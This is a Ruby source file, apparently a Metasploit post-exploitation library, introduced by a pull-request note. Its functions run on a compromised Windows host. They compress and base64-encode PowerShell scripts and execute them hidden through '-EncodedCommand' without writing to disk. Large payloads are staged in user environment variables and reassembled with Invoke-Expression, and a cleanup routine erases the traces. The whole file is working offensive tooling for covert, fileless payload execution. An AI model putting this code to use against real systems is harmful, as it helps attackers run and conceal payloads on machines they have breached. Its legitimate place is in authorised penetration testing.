Import old powershell post lib from master
This is temporary and rather messy. Since the internals for dealing with PSH code have moved to Rex there may be a hiccup or two here. This was my original attempt at basic PSH integration and does not make use of the new libraries and namespaces in this PR. Will introduce the updated modules and libraries in separate PR.bug/bundler_fix
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# -*- coding: binary -*-
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require 'zlib'
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require 'msf/core/post/common'
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module Msf
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class Post
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module Windows
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module Powershell
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include ::Msf::Post::Common
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# List of running processes, open channels, and env variables...
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# Suffix for environment variables
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#
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# Returns true if powershell is installed
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#
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def have_powershell?
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cmd_out = cmd_exec("powershell get-host")
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return true if cmd_out =~ /Name.*Version.*InstanceID/
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return false
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end
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#
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# Insert substitutions into the powershell script
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#
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def make_subs(script, subs)
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subs.each do |set|
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script.gsub!(set[0],set[1])
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end
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if datastore['VERBOSE']
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print_good("Final Script: ")
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script.each_line {|l| print_status("\t#{l}")}
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end
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end
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#
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# Return an array of substitutions for use in make_subs
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#
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def process_subs(subs)
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return [] if subs.nil? or subs.empty?
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new_subs = []
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subs.split(';').each do |set|
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new_subs << set.split(',', 2)
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end
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return new_subs
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end
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#
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# Read in a powershell script stored in +script+
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#
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def read_script(script)
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script_in = ''
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begin
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# Open script file for reading
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fd = ::File.new(script, 'r')
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while (line = fd.gets)
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script_in << line
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end
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# Close open file
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fd.close()
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rescue Errno::ENAMETOOLONG, Errno::ENOENT
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# Treat script as a... script
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script_in = script
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end
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return script_in
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end
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#
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# Return a zlib compressed powershell script
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#
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def compress_script(script_in, eof = nil)
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# Compress using the Deflate algorithm
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compressed_stream = ::Zlib::Deflate.deflate(script_in,
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::Zlib::BEST_COMPRESSION)
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# Base64 encode the compressed file contents
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encoded_stream = Rex::Text.encode_base64(compressed_stream)
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# Build the powershell expression
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# Decode base64 encoded command and create a stream object
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psh_expression = "$stream = New-Object IO.MemoryStream(,"
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psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));"
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# Read & delete the first two bytes due to incompatibility with MS
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psh_expression += "$stream.ReadByte()|Out-Null;"
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psh_expression += "$stream.ReadByte()|Out-Null;"
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# Uncompress and invoke the expression (execute)
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psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader("
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psh_expression += "$(New-Object IO.Compression.DeflateStream("
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psh_expression += "$stream,"
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psh_expression += "[IO.Compression.CompressionMode]::Decompress)),"
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psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());"
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# If eof is set, add a marker to signify end of script output
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if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
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# Convert expression to unicode
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unicode_expression = Rex::Text.to_unicode(psh_expression)
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# Base64 encode the unicode expression
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encoded_expression = Rex::Text.encode_base64(unicode_expression)
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return encoded_expression
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end
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#
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# Execute a powershell script and return the results. The script is never written
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# to disk.
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#
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def execute_script(script, time_out = 15)
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running_pids, open_channels = [], []
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# Execute using -EncodedCommand
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session.response_timeout = time_out
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cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
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"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
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# Add to list of running processes
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running_pids << cmd_out.pid
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# Add to list of open channels
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open_channels << cmd_out
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return [cmd_out, running_pids, open_channels]
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end
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#
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# Powershell scripts that are longer than 8000 bytes are split into 8000
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# 8000 byte chunks and stored as environment variables. A new powershell
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# script is built that will reassemble the chunks and execute the script.
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# Returns the reassembly script.
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#
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def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
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# Check to ensure script is encoded and compressed
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if compressed_script =~ /\s|\.|\;/
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compressed_script = compress_script(compressed_script)
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end
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# Divide the encoded script into 8000 byte chunks and iterate
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index = 0
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count = 8000
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while (index < compressed_script.size - 1)
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# Define random, but serialized variable name
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env_prefix = "%05d" % ((index + 8000)/8000)
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env_variable = env_prefix + env_suffix
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# Create chunk
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chunk = compressed_script[index, count]
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# Build the set commands
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set_env_variable = "[Environment]::SetEnvironmentVariable("
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set_env_variable += "'#{env_variable}',"
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set_env_variable += "'#{chunk}', 'User')"
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# Compress and encode the set command
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encoded_stager = compress_script(set_env_variable)
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# Stage the payload
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print_good(" - Bytes remaining: #{compressed_script.size - index}")
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execute_script(encoded_stager)
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# Increment index
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index += count
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end
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# Build the script reassembler
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reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|"
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reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
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reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
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reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
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reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
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# Compress and encode the reassemble command
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encoded_script = compress_script(reassemble_command)
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return encoded_script
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end
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#
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# Log the results of the powershell script
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#
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def write_to_log(cmd_out, log_file, eof)
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# Open log file for writing
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fd = ::File.new(log_file, 'w+')
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# Read output until eof and write to log
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while (line = cmd_out.channel.read())
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if (line.sub!(/#{eof}/, ''))
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fd.write(line)
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vprint_good("\t#{line}")
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cmd_out.channel.close()
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break
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end
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fd.write(line)
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vprint_good("\t#{line}")
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end
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# Close log file
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fd.close()
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return
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end
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#
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# Clean up powershell script including process and chunks stored in environment variables
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#
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def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
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# Remove environment variables
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env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
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env_del_command += "Select-String #{env_suffix}|%{"
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env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
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script = compress_script(env_del_command, eof)
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cmd_out, running_pids, open_channels = *execute_script(script)
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write_to_log(cmd_out, "/dev/null", eof)
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# Kill running processes
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running_pids.each() do |pid|
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session.sys.process.kill(pid)
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end
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# Close open channels
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open_channels.each() do |chan|
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chan.channel.close()
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end
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::File.delete(script_file) if (script_file and delete)
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return
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end
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end
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end
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end
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end
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